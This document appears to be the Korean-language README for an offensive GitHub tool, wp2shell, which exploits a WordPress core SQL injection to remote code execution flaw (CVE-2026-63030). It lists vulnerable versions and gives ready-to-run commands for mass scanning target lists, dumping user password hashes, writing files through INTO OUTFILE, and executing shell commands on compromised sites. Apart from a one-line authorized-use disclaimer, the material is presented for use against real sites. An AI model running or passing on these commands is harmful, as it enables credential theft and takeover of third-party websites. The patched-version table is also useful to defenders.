lutfifakee-project/wp2shellwp2shell - WordPress CVE-2026-63030 익스플로잇 및 스캐너
CVE-2026-63030(wp2shell)은 Adam Kues(Assetnote / Searchlight Cyber)가 발견한, WordPress 코어에 영향을 미치는 치명적인 취약점입니다. 두 가지 버그를 결합합니다:
author__not_in SQL 인젝션| 버전 범위 | 영향 | 상태 |
|---|---|---|
| 6.9.0 - 6.9.4 | 🔴 RCE (치명적) | ❌ 취약 |
| 7.0.0 - 7.0.1 | 🔴 RCE (치명적) | ❌ 취약 |
| 6.8.0 - 6.8.5 | 🟡 SQLi (높음) | ❌ 취약 |
| 6.9.5+ / 7.0.2+ | ✅ 패치됨 | ✅ 안전 |
# Clone repository
git clone https://github.com/Lutfifakee-Project/wp2shell.git
cd wp2shell
# No dependencies required - uses Python standard library only!
# Python 3.7+ required
대규모 취약점 탐지를 위한 멀티스레드 실시간 스캐너입니다.
# Basic scan
python wp2shell_scanner.py -f list.txt -o results.txt
# Skip SQLi test (faster)
python wp2shell_scanner.py -f list.txt -o results.txt --no-sqli-test
# JSON output
python wp2shell_scanner.py -f list.txt -j
INTO OUTFILE RCE 변종을 시연합니다(MySQL FILE 권한 필요).
# Single target
python3 wp2shell_intooutfile.py https://target.com
# Multiple targets
python3 wp2shell_intooutfile.py -f list.txt -t 10
전체 기능을 갖춘 휴대용 단일 파일 버전의 익스플로잇입니다.
# Check vulnerability
python wp2shell-exploit.py check https://target.com
# Read users (extract password hashes)
python wp2shell-exploit.py read https://target.com --preset users
# Read fingerprint
python wp2shell-exploit.py read https://target.com --preset fingerprint
# Execute command (after cracking hash)
python wp2shell-exploit.py shell https://target.com --user admin --password "cracked" --cmd "id"
중요: 이 도구는 교육 및 승인된 테스트 목적으로만 사용하십시오.